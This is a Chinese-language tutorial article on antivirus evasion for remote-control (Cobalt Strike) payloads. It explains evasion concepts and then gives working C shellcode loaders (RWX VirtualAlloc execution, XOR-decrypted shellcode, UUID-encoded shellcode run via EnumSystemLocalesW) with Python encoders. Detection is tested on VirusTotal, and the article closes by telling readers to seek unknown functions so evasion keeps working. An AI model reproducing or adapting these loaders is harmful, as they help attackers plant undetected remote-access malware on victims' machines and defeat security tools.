远控免杀从入门到实践 | 技术精选0141
2022-8-18 15:4:9 Author: www.secpulse.com(查看原文) 阅读量:29 收藏

前几天突然看到一个大佬写的免杀,非常好奇,于是看了这个大佬写的免杀并进行了学习,写下这篇文章,将之前不懂的地方都搞搞明白。
1
基础
免杀技术,全称为反杀毒技术,“Anti Anti- Virus”,简称“免杀”。它指的是一种能使病毒木马免于被杀毒软件查杀的技术。
杀毒软件检测方式
常见扫描方式有:扫描压缩包技术、程序窜改防护、修复技术、急救盘杀毒、智能扫描、全盘扫描、勒索软件防护、开机扫描。
监控技术有:内存监控、文件监控、邮件监控、网页防护、行为防护。
扫描引擎的主要技术手段包括:特征码扫描、文件校验和法、进程行为监测法(沙盒模式)、云查杀、主动防御技术、机器学习识别技术。
免杀技术介绍
一是修改特征码。免杀的最基本思想就是破坏特征,这个特征有可能是特征码,有可能是行为特征,只要破坏了病毒与木马所固有的特征,并保证其原有功能没有改变,一次免杀就能完成了。
二是花指令免杀。花指令其实就是一段毫无意义的指令,也可以称之为垃圾指令。花指令是否存在对程序的执行结果没有影响,所以它存在的唯一目的就是阻止反汇编程序,或对反汇编设置障碍。
三是加壳免杀。软件加壳其实也可以称为软件加密(或软件压缩),只是加密(或压缩)的方式与目的不一样罢了。壳就是软件所增加的保护,并不会破坏里面的程序结构,当我们运行这个加壳的程序时,系统首先会运行程序里的壳,然后由壳将加密的程序逐步还原到内存中,最后运行程序。
四是内存免杀。CPU不可能是为某一款加壳软件而特别设计的,因此某个软件被加壳后的可执行代码,CPU是读不懂的。这就要求在执行外壳代码时,要先将原软件解密,并放到内存里,然后再通知CPU执行。
五是二次编译。metasploit的msfvenom提供了多种格式的payload和encoder,生成的shellcode也为二次加工提供了很大便利,但是也被各大厂商盯得死死的。
六是分离免杀。采用分离法,即将ShellCode和加载器分离。分离免杀之所以能获得很好的效果,就是因为shellcode加载器本身并不包含恶意代码,自然也不会包含恶意软件的特征码。而只有当加载器运行时,它才会从程序之外加载shellcode执行,通过这种方式能够有效避免基于特征码的查杀方式。
2
实践
这里的实践,我们用的代码是c/c++。当然也可以用其他语言来实现,效果可能会更好。
首先用cs(msf也行)生成shellcode。
申请动态内存加载
下面代码会申请一块动态内存,再加载shellcode。
#include<stdio.h>#include<Windows.h>

unsigned char buf[] = "";

int main() {    char* Memory;

   Memory = VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

   memcpy(Memory, buf, sizeof(buf));

   ((void(*)())Memory)();

   return 1;}
使用vs 2019编译,之后CTRL+B生成exe文件:
在项目下的根目录x64Release的位置,找到exe并执行,cs也是上线了:
接下来尝试下VT:
建议不要多次跑VT,要不然效果会越来越不好。
XOR加密
接下来,我们用python对shellcode进行XOR加密。
#!/usr/bin/env python# encoding: utf-8'''

@Author         : xd@Date           : 2021-01-23 15:57@Description    : shellcode XOR加密.

'''import random

buf = b"""[shellcode]"""

key = random.randint(30, 90)



def encrypt():    print("key:%s" % key)    i = 1    st = ''    for c in buf:        if i == key:            i = 1        st += '%#x' % (c ^ i)        i += 1

   st = st.replace("0x", "\\x")    print(st)



if __name__ == "__main__":    encrypt()
执行后,会生成一个key值和加密后的shellcode:
下面代码把shellcode加载到内存并执行:
#include<stdio.h>#include<Windows.h>#include<string.h>

int  main(){unsigned char encryptedShellcode[] = ""; //加密后的shellcodeint key = ;  //key值

unsigned char buf[sizeof(encryptedShellcode)];

int len = sizeof(encryptedShellcode);

int j = 1;for (int i = 0; i < len; ++i){if (j == key) j = 1;buf[i] = encryptedShellcode[i] ^ j;++j;}

char* addr;

addr = VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

if (addr == NULL)  return -1;

memcpy(addr, buf, sizeof(buf));

((void(*)())addr)();

return 0;}
填充后,使用vs 2019编译,之后CTRL+B生成exe文件,运行后cs还是上线了:
UUID
先用python把shellcode转变成UUID字符串数组:
#coding=utf-8import uuid

#Input your shellcode like:\xfc\x48\x83\xe4\xf0\xe8\xxxbuf = b"""[shellcode]"""import uuid

def convertToUUID(shellcode):    # If shellcode is not in multiples of 16, then add some nullbytes at the end    if len(shellcode) % 16 != 0:        print("[-] Shellcode's length not multiplies of 16 bytes")        print("[-] Adding nullbytes at the end of shellcode, this might break your shellcode.")        print("\n[*] Modified shellcode length: ", len(shellcode) + (16 - (len(shellcode) % 16)))

       addNullbyte = b"\x00" * (16 - (len(shellcode) % 16))        shellcode += addNullbyte

   uuids = []    for i in range(0, len(shellcode), 16):        uuidString = str(uuid.UUID(bytes_le=shellcode[i:i + 16]))        uuids.append(uuidString.replace("'", "\""))    return uuids

u = convertToUUID(buf)print(str(u).replace("'", "\""))
执行并获取UUID字符串数组:
下面代码把shellcode加载到内存并执行,C的数组是用"{}"这个符号,所以要把py生成的[]换成{}放到下面UUIDS:
#include<stdio.h>#include<Windows.h>#include<string.h>

const char *uuids[] = ;//uuid数组

int  main(){int len = sizeof(uuids)/sizeof(char*);



char* addr = NULL;

addr = HeapCreate(0x00040000, 0, 0);

if (addr == NULL)  return -1;

ZwAllocateVirtualMemory(addr, 0, 0, 0x100000, MEM_COMMIT, PAGE_EXECUTE_READWRITE);

char* addrPtr = addr;

for (int i = 0; i < len; ++i){byte* u = (byte*)uuids[i];RPC_STATUS rpcStatus = UuidFromStringA(&u[0], addrPtr);if (rpcStatus != 0) return 0;addrPtr += 16;
}EnumSystemLocalesW(addr, 0);
return 0;}
这里把申请动态的方式换了函数,同时把加载到内存的方式变换了,这样可以逃避部分杀软的监控,从而达到更好的效果。
接下来,vs 2019进行编译,不出意外会报错,因为缺少依赖,所以点击项目->项目属性(我的是Project属性),在链接器->输入,点击附加依赖项编辑,添加上rpccrt4.lib;ntdll.lib,最后CTRL+B,生成exe文件:
接下来在靶机运行exe,cs还是上线了:
接下来使用VT:
效果不错,但是大家有没有发现,在靶机运行exe后会有一个黑框。
现在我们取消黑框,在代码中加入:
#pragma comment(linker,"/subsystem:“Windows” /entry:“mainCRTStartup”")
控制台程序不出黑窗口,再次生成exe跑VT:
只多了一行代码,安全供应商翻了几倍,所以建议大家可以将其改成其他代码实现,效果会很不错。
3
总结
实践中用到的杀软都是个人版,后面的免杀需要靠大家寻找那些陌生的函数以及没有被人发现的其他方式,这样免杀才能一直玩下去。

文章来源: https://www.secpulse.com/archives/185533.html
如有侵权请联系:admin#unsafe.sh